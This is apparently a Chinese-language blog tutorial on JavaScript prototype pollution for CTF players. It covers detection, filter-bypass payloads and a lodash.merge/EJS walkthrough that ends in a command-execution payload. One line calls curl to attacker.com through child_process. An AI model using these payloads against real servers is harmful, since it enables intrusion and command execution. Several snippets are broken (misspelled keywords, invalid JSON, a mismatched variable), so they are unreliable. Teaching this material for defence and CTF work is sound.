原型链污染

原型链污染

什么是原型链污染?

原型链污染是一种针对JavaScript运行时的注入攻击。

在 JavaScript 中,通过修改对象的原型(prototype),让所有继承该原型的对象都“被动继承”这些修改,可能导致意外行为或安全漏洞。

通过原型链污染,攻击者可以控制对象属性的默认值,从而篡改应用程序的逻辑并可能导致服务被拒绝,甚至在某些极端情况下远程执行代码。

通俗地讲,想想你是一家车厂的老板,所有汽车都按照一个 标准模板 生成,这个模板就是 原型。有一天,有人在模板上偷偷画了个鬼脸,结果之后生产的每辆车都带着这个鬼脸——这就是原型链污染。

为什么会发生原型链污染?

  1. 原型链机制

JavaScript 中对象可以继承属性和方法。为了使得在编写程序时更加简便,避免由于方法绑定到对象上在使用时多次调用,利用原型(prototype)就可以使得所有用同一类来实例化的对象可以直接拥有这个类中的所有内容,包括属性和方法。

JavaScript 中的继承机制:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
javascript
funtion Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

funtion Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let Son = new Son()
console.log(`name: ${son.first_name} ${son.last_name}`)  
// 最后输出Name : Melania Trump

总结一下,对于对象 son ,在调用 son.last_name 的时候,实际上 JavaScript 引擎会进行如下操作:

1.在对象 son 中寻找 last_name 2.如果找不到,则在son.__proto__中寻找 last_name 3.如果仍然找不到,则继续在son.__proto__.__proto__中寻找 last_name 4.依次寻找,直到找到 null 结束。比如,Object.prototype__proto__就是 null

JavaScript 的这个查找的机制,被运用在面向对象的继承中,被称作 prototype 继承链。

但是这一操作也使得一旦可以修改对象的原型,将使得所有的对象都被修改,从而导致安全隐患。

例如:

1
2
3
javascript
const cat1 = {}; // 普通对象
car1.toString(); // 调用的时Object.prototype.toString

如果修改了Object.orototype.toString,所有对象的toString方法都会变。

举一个实际利用中的例子

假设一个网站允许用户提交JSON数据:

1
2
3
javascript
const userData = JSON.parse('{"__proto__":"isAdmin: true"}');
// 用户提交的数据中偷偷加了__proto__.isAdmin = true

此时,Object.prototype.isAdmin被设置为 true ,所有对象都会继承这个属性:

1
2
3
javascript
const normalUser = {};
console.log(normalUser.isAdmin); // 输出true(本不该有管理权限)

具体在CTF中的应用

如何判断题目设计原型链污染?

1.代码审计

  • 对象合并操作:题目代码中出现Object.assign()lodash.marge()JSON.parse()等函数
  • 动态属性赋值:如obj[key] = value,其中keyvalue来自用户输入
  • 原型链关键词:代码中显式使用__proto__prototypeconstructor

2.黑箱测试特征

  • 权限异常:普通用户突然拥有管理员权限,(如访问/admin 路由)
  • 全局属性篡改: 所有对象自动继承某个属性(如 token 、isAdmin )
  • 行为突变: 调用默认方法(如toString())时返回意外结果

3.验证方法

提交测试Payload:

1
{"__proto__": {"test": 123}}

检查响应:

  • 创建新对象 const obj = {};,观察 obj.test 是否为 123。
  • 若成功,说明原型链被污染。

突破口与利用场景

1.常见输入点:

  • JSON数据提交:通过POST请求体传递恶意Payload。
  • URL参数或查询字符串:如 ?key=proto.isAdmin&value=true。
  • 表单字段:用户可控的表单字段名或值。

2.敏感属性覆盖:

  • 权限标志:isAdmin、isVIP、role。
  • 身份凭证:token、session。
  • 函数重写:覆盖 toString()、valueOf() 等原型方法,触发逻辑漏洞。

3.依赖库漏洞:

  • Lodash(CVE-2019-10744):旧版本的 _.defaultsDeep 未过滤 proto
  • Express.js中间件:解析请求体时未过滤特殊属性。

具体操作步骤

步骤一:构建Payload

基础Payload:

1
2
json
{"__proto__":{"isAdmin": true}}

绕过过滤的变种:

  • Unicode编码:
1
2
json
{"\u005F_proto__": {"isAdmin": true}}
  • 嵌套污染:
1
2
json
{"constructor": {"prototype": {"isAdmin": true}}}

步骤2:触发漏洞

  • 场景1:对象合并(如 Object.assign):
1
2
3
4
5
javascript
// 服务端代码示例
const userInput = JSON.parse(req.body.data);
const config = { theme: "light" };
Object.assign(config, userInput); // 污染点

Payload提交:

1
{"__proto__": {"isAdmin": true}}
  • 场景2:动态属性赋值:
1
2
3
4
// 服务端代码示例
const key = req.query.key; // 用户可控
const value = req.query.value;
obj[key] = value;

Payload提交:

1
GET /api/set?key=**proto**.isAdmin&value=true

plaintext

步骤3:验证污染效果

  • 直接检查原型属性:
1
console.log(Object.prototype.isAdmin); // 输出应为 true

触发敏感逻辑:

  • 访问需要管理员权限的接口(如 /admin)。
  • 调用被覆盖的方法:
1
2
3
javascript
const obj = {};
console.log(obj.toString()); // 若覆盖为恶意函数,可能触发XSS或RCE

步骤4:高级利用(结合其他漏洞)

  • 远程代码执行(RCE):
1
2
3
4
json
{"__proto__": {
  "exec": "require('child_process').exec('curl http://attacker.com')"
}}

信息泄露:

1
2
3
4
json
{"__proto__": {
  "getSecret": function() { return this.internalSecret; }
}}

四、绕过防御的技巧

1.属性名混淆:

  • 大小写变异:__PROTO____proto__

  • 特殊字符插入:__pro__to__(部分过滤逻辑不严格)。

2.多层嵌套污染:

1
{"a": {"b": {"__proto__": {"isAdmin": true}}}}

某些合并函数可能递归处理嵌套对象。

3.利用库函数特性:

  • Lodash旧版本:_.merge 默认处理 proto

  • jQuery.extend:需测试是否深拷贝原型属性。

例题:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
    // ...
    const lodash = require('lodash')
    // ...

    app.engine('ejs', function (filePath, options, callback) { 
    // define the template engine
        fs.readFile(filePath, (err, content) => {
            if (err) return callback(new Error(err))
            let compiled = lodash.template(content)
            let rendered = compiled({...options})

            return callback(null, rendered)
        })
    })
    //...

    app.all('/', (req, res) => {
        let data = req.session.data || {language: [], category: []}
        if (req.method == 'POST') {
            data = lodash.merge(data, req.body)
            req.session.data = data
        }

        res.render('index', {
            language: data.language, 
            category: data.category
        })
    })

解决步骤与原理详解

1. 漏洞分析

题目代码中使用了存在漏洞的 lodash.merge 方法合并用户输入(req.body),且未过滤 __proto__constructor 属性。旧版 Lodash(如 4.17.10 之前)的 merge 方法未正确处理原型链属性,导致攻击者可通过注入 __proto__ 污染全局对象原型。


2. 漏洞利用步骤

步骤1:确认漏洞存在
  • 测试Payload

    :发送以下 POST 请求,尝试污染

    1
    
    Object.prototype
    

    1
    2
    3
    4
    5
    6
    
    json
    {
      "__proto__": {
        "polluted": "test"
      }
    }
    
  • 验证污染

    :在后续请求中,检查任意对象的

    1
    
    polluted
    

    属性:

    1
    2
    3
    
    javascript
    // 服务端代码示例
    console.log({}.polluted); // 若输出 "test",则污染成功
    
步骤2:利用污染实现RCE

目标是通过污染原型链,在模板渲染时触发代码执行。 EJS模板特性:EJS 在渲染时,若模板中访问了对象属性,且该属性被污染为一个函数,则会执行该函数。

构造恶意Payload: 覆盖 Object.prototype 的某个方法(如 toString),插入恶意代码:

1
2
3
4
5
6
json
{
  "__proto__": {
    "toString": "() => { return global.process.mainModule.require('child_process').execSync('cat /flag').toString() }"
  }
}

或更隐蔽的方式:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
json
{
  "constructor": {
    "prototype": {
      "toString": function() { 
        return this.flag ||= require('child_process').execSync('cat /flag').toString();
      }
    }
  }
}
步骤3:触发模板渲染执行代码

假设模板 index.ejs 中有如下代码:

1
2
plaintext
<%= language %>  // 或其他输出点

language 未定义时,EJS 会尝试从原型链查找 language 属性。若 Object.prototype.language 被污染为恶意函数,则会执行该函数。

最终Payload

1
2
3
4
5
6
7
8
json
{
  "__proto__": {
    "language": function() {
      return global.process.mainModule.require('child_process').execSync('cat /flag').toString();
    }
  }
}
步骤4:发送请求并获取flag
  1. 发送POST请求

    1
    2
    3
    4
    
    bash
    curl -X POST http://target.com/ \
    -H "Content-Type: application/json" \
    -d '{"__proto__": {"language": function(){ return require("child_process").execSync("cat /flag").toString() }}}'
    
  2. 触发模板渲染: 访问首页 GET /,模板会尝试渲染 language 属性,执行污染后的函数,返回flag。

3. 技术原理

  • 原型链污染:通过 lodash.merge__proto__ 注入到 data 对象,污染 Object.prototype
  • 模板引擎触发:EJS 渲染时访问被污染属性(如 language),调用已覆盖的函数,执行任意命令。
  • RCE链: 污染函数 → 模板调用函数 → 执行系统命令 → 返回flag。

🤔

  • 关键点

    1. 识别 lodash.merge 合并用户输入。
    2. 构造 __proto__constructor.prototype 污染原型链。
    3. 利用模板引擎渲染触发恶意代码。
  • 最终效果:通过污染 Object.prototype.language,在渲染时执行 cat /flag,直接获取flag。

参考:

深入理解 JavaScript Prototype 污染攻击

Licensed under CC BY-NC-SA 4.0
Build by Oight
使用 Hugo 构建
主题 StackJimmy 设计